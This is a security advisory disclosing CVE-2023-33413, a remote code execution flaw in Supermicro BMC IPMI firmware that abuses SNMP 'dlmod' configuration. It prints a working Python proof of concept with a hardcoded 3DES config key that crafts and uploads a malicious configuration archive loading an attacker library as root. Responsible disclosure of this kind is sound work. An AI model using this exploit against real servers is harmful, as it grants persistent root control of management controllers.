Header bannerHeader banner
Advisory ID:
BRLY-2023-030

[BRLY-2023-030] RCE inside BMC OS using SNMP service configuration in Supermicro BMC IPMI firmware

September 19, 2024
Severity:
Critical
CVSS Score
9.1
Public Disclosure Date:
September 16, 2024

Summary

BINARLY team has discovered a remote code execution vulnerability in the web server component of Supermicro BMC IPMI firmware, allowing a potential attacker to execute arbitrary code inside the BMC operating system as the root user.
Vendors Affected Icon

Vendors Affected

Supermicro
Affected Products icon

Affected Products

No items found.

Potential Impact

A potential attacker can exploit this vulnerability to elevate privileges from a user with administrative privileges of IPMI web application to BMC system root. Running arbitrary code on the BMC operating system allows to make the attack persistent during a BMC component reboot and to perform lateral movement within compromised infrastructure, infecting other endpoints.

Vulnerability Information

  • BINARLY internal vulnerability identifier: BRLY-2023-030
  • Supermicro PSIRT assigned CVE identifier: CVE-2023-33413
  • BINARLY calculated CVSS v3.1: 9.1 Critical AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
  • Supermicro PSIRT calculated CVSS v3.1: 8.3 High AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Supermicro firmware with confirmed impact by Binarly team

Device Version SHA256
X12SCA-5F 01.03.03 (latest) 108ef872150773bfb36669dafd9b887c4a0b5f9012ea71578e7bfca662b3c752

Potential impact

A potential attacker can exploit this vulnerability to elevate privileges from a user with administrative privileges of IPMI web application to BMC system root. Running arbitrary code on the BMC operating system allows to make the attack persistent during a BMC component reboot and to perform lateral movement within compromised infrastructure, infecting other endpoints.

Vulnerability description

Supermicro IPMI web interface provides a feature to download/upload BMC system configuration. A user with administrative privileges to the web interface can upload specially crafted configuration archive, which will lead to Remote Code Execution inside the BMC operating system.

The vulnerability exists because it is possible to modify SNMP service configuration file, which allows to load additional modules from dynamic libraries. A potential attacker can upload custom library using the crafted configuration archive and specify its name in the snmpd.conf file:

#Version:001 
#createUser Anonymous    
#rwuser Anonymous  
#createUser ADMIN    
#rwuser ADMIN  
rocommunity public
rocommunity6 public
rwcommunity private
rwcommunity6 private
engineID a261dec2c9fb
dlmod ipmiAgentPluginObject /nv/host_auth_settings

Thus, the BMC operating system will be restarted, and during SNMP service load, init_ipmiAgentPluginObject function will be called from /nv/host_auth_settings file. It is worth noting that this attack is persistent, so exploitation will work even after BMC OS reboots.

Note: It is also possible to place custom library inside configuration folders, for example ddns or ipctrl, in such cases it also will be copied to the BMC filesystem.

Note: Potential attacker can also enable SNMP service with the service.conf file:

...
SNMP_SERVICE=1
...

Steps for exploitation

Below is the minimum PoC leading to BMC OS RCE:

import requests
import subprocess
import shutil
import binascii
from Crypto.Cipher import DES3
from Crypto.Util.Padding import pad, unpad

HOST = "192.168.1.64"
PORT = 443
X_AUTH_TOKEN = "d1grda52ua1lbx9xxatxsp7yw4f0zysc"

headers = {"X-Auth-Token": X_AUTH_TOKEN}

key = b"\xF1\xDA\x33\xA2\x98\x12\x06\x12\x06\x07\x92\xFF\xAA\x99\x88\x11\x99\x88\x77\x44\x55\x88\xAA\xBB"
iv = b"\x00" * 8

exploit_library_path = "./poc.so" # this library must contain `init_ipmiAgentPluginObject` export


def decrypt_3des_cbc(ciphertext, key, iv):
    cipher = DES3.new(key, DES3.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext)
    return unpad(plaintext, DES3.block_size)


def encrypt_3des_cbc(plaintext, key, iv):
    cipher = DES3.new(key, DES3.MODE_CBC, iv)
    padded_plaintext = pad(plaintext, DES3.block_size)
    ciphertext = cipher.encrypt(padded_plaintext)
    return ciphertext


def download_config():
    url = f"https://{HOST}:{PORT}/redfish/v1/UpdateService/Oem/Supermicro/IPMIConfig/Actions/SmcIPMIConfig.Download"
    r = requests.post(url, headers=headers, verify=False)
    return r.content


def modify_config(config_data):
    # decrypt config data
    config_data_dec = decrypt_3des_cbc(config_data, key, iv)

    # save decrypted config archive (without crc)
    with open("config_data_dec.tar.gz", "wb") as f:
        f.write(config_data_dec[4:])

    # unpack config archive
    subprocess.run(["tar", "xzf", "config_data_dec.tar.gz"])

    # copy exploit library
    shutil.copyfile(exploit_library_path, "./preserve_config/ddns/poc.so")

    # modify configurations
    with open("./preserve_config/snmpd.conf", "w") as f:
        f.write(
            "#Version:001\n#createUser Anonymous\n#rwuser Anonymous\n#createUser ADMIN\n#rwuser ADMIN\nrocommunity public\nrocommunity6 public\nrwcommunity private\nrwcommunity6 private\nengineID a261dec2c9fb\ndlmod ipmiAgentPluginObject /nv/ddns/poc.so"
        )
    with open("./preserve_config/service.conf", "r") as f:
        service_conf = f.read()
    with open("./preserve_config/service.conf", "w") as f:
        f.write(service_conf.replace("SNMP_SERVICE=0", "SNMP_SERVICE=1"))

    # archive config folder
    subprocess.run(["tar", "czf", "config_data_mod.tar.gz", "preserve_config"])

    # encrypt config data
    with open("config_data_mod.tar.gz", "rb") as f:
        config_data_mod = f.read()
    to_encrypt = (
        bytes.fromhex(hex(binascii.crc32(config_data_mod))[2:])[::-1] + config_data_mod
    )
    config_data_enc = encrypt_3des_cbc(to_encrypt, key, iv)

    return config_data_enc


def upload_config(data):
    url = f"https://{HOST}:{PORT}/redfish/v1/UpdateService/Oem/Supermicro/IPMIConfig/Actions/SmcIPMIConfig.Upload"
    files = {
        "ipmi_config_file": ("save_config_mod.bin", data, "application/octet-stream"),
    }
    requests.post(url, headers=headers, files=files, verify=False)


if __name__ == "__main__":
    config_data = download_config()
    modified_config_data = modify_config(config_data)
    upload_config(modified_config_data)

How to fix it

We do not recommend allowing users to manipulate BMC OS services through configuration files, it is better to provide only the required settings in the web interface. In case this is not possible, it is necessary to strictly define the set of files that can be manipulated by users and their allowed content.

Disclosure timeline

This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.

Disclosure Activity Date (YYYY-mm-dd)
Supermicro PSIRT is notified 2023-12-22
Supermicro PSIRT confirmed reported issue 2024-02-13
Supermicro public disclosure date 2024-04-02
BINARLY public disclosure date 2024-09-16

Acknowledgements

BINARLY team

Tags
No items found.
FWHunt
See if you are impacted now with our Firmware Vulnerability Scanner